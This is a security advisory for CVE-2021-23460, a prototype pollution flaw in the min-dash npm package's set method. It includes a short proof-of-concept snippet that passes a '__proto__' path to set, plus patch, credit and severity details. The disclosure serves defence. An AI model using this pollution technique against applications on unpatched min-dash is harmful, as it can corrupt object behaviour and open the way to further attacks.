The set method is vulnerable to prototype pollution with specially crafted inputs.
// insert the following into poc.js and run node poc,js (after installing the package)
let parser = require("min-dash");
parser.set({}, [["__proto__"], "polluted"], "success");
console.log(polluted);
min-dash>=3.8.1 fix the issue.
No workarounds exist for the issue.
Closed via https://github.com/bpmn-io/min-dash/pull/21.
Credits to Cristian-Alexandru STAICU who found the vulnerability and to Idan Digmi from the Snyk Security Team who reported the vulnerability to us, responsibly.
| Score | Percentile |
|---|---|
| 0.54% | 67.51% |
| Base score | Version | Severity | Vector |
|---|---|---|---|
| 7.5 | 3.1 | — |
|
| Type | Value |
|---|---|
| GHSA | GHSA-2m53-83f3-562j ↗ |
| CVE | CVE-2021-23460 ↗ |
| CWE id | Name |
|---|---|
| CWE-1321 | Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') |
Vulnerable version ranges and first patched releases as published by GitHub.
| Ecosystem | Package | Vulnerable range | First patched | Vulnerable functions |
|---|---|---|---|---|
| npm | min-dash | < 3.8.1 | 3.8.1 | — |
| maven | org.webjars.npm:min-dash | < 3.8.1 | 3.8.1 | — |